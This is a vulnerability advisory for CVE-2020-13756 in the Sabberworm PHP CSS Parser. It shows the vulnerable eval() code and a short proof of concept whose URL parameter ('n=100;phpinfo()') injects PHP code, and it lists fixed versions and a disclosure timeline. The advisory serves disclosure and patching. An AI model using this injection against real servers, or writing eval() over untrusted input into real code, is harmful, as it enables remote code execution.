Sabberworm PHP CSS parser - Code injection
===============================================================================

Identifiers
-------------------------------------------------
* CVE-2020-13756


CVSSv3 score
-------------------------------------------------
8.6 - [AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L](
https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L&version=3.1
)


Vendor
-------------------------------------------------
Sabberworm - https://github.com/sabberworm/PHP-CSS-Parser


Product
-------------------------------------------------
A Parser for CSS Files written in PHP. Allows extraction of CSS files into
a data structure, manipulation of said structure and output as (optimized)
CSS.


Affected versions
-------------------------------------------------
 - All versions prior to the fixed versions listed below


Credit
-------------------------------------------------
Eldar Marcussen - justanotherhacker.com


Vulnerability summary
-------------------------------------------------
The Sabberworm PHP CSS Parser evaluates uncontrolled data which may result
in remote code execution if the affected function is called with attacker
controlled data.


Technical details
-------------------------------------------------
The function `allSelectors` in
`lib/Sabberworm/CSS/CSSList/CSSBlockList.php` on line `64` interpolates
untrusted data inside an `eval()` operation on line `73`.
https://github.com/sabberworm/PHP-CSS-Parser/blob/master/lib/Sabberworm/CSS/CSSList/CSSBlockList.php#L73

The function `allSelectors` is called via the function
`getSelectorsBySpecificity` in `lib/Sabberworm/CSS/CSSList/Document.php`
which is the class object returned from the `parse()` function in
`lib/Sabberworm/CSS/Parser.php`. If an attacker is able to supply or
influence the content of the data passed to the `allSelectors` or
 `getSelectorsBySpecificity` functions, the server will execute attacker
controlled code.

```php
protected function allSelectors(&$aResult, $sSpecificitySearch = null) {
    $aDeclarationBlocks = array();
    $this->allDeclarationBlocks($aDeclarationBlocks);
    foreach ($aDeclarationBlocks as $oBlock) {
        foreach ($oBlock->getSelectors() as $oSelector) {
            if ($sSpecificitySearch === null) {
                $aResult[] = $oSelector;
            } else {
                $sComparison = "\$bRes = {$oSelector->getSpecificity()}
$sSpecificitySearch;";
                eval($sComparison);
                if ($bRes) {
                    $aResult[] = $oSelector;
                }
            }
        }
    }
}
```


Proof of concept
-------------------------------------------------
The following evidence is provided to illustrate the existence and
exploitation
of this vulnerability:

Save the following code as csspwn.php
```php
<?php
use Sabberworm\CSS\Parser;

$css="#test .help,\n#file,\n.help:hover,\nli.green,\nol li::before {\n
   font-family: Helvetica;\n}";

$oCssParser = new Sabberworm\CSS\Parser($css);
$oDoc = $oCssParser->parse();
$oDoc->getSelectorsBySpecificity('> '.$_GET['n']);
?>
```
Serve the page via `php -S 0:8888` then open the following URL:
http://localhost:8888/csspwn.php?n=100;phpinfo()

Solution
-------------------------------------------------
Upgrade to one of the following versions:
  1.0.1
  2.0.1
  3.0.1
  4.0.1
  5.0.9
  5.1.3
  5.2.1
  6.0.2
  7.0.4
  8.0.1
  8.1.1
  8.2.1
  8.3.1

Timeline
-------------------------------------------------
Date        | Status
------------|---------------------
01-JUN-2020 | Reported to vendor
01-JUN-2020 | Patch available
02-JUN-2020 | Public disclosure